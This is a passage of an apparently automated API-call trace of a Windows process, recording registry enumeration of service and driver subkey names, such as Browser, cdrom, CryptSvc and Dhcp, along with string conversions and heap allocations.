BaseAddress=0x21f1a48) returned 1 [0232.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.914] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.914] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.914] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.914] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.915] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.915] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.915] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.915] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0232.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.916] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.916] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.916] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0232.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0232.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0232.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0232.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0232.917] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0232.918] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0232.919] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0232.920] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0232.921] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0232.922] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, 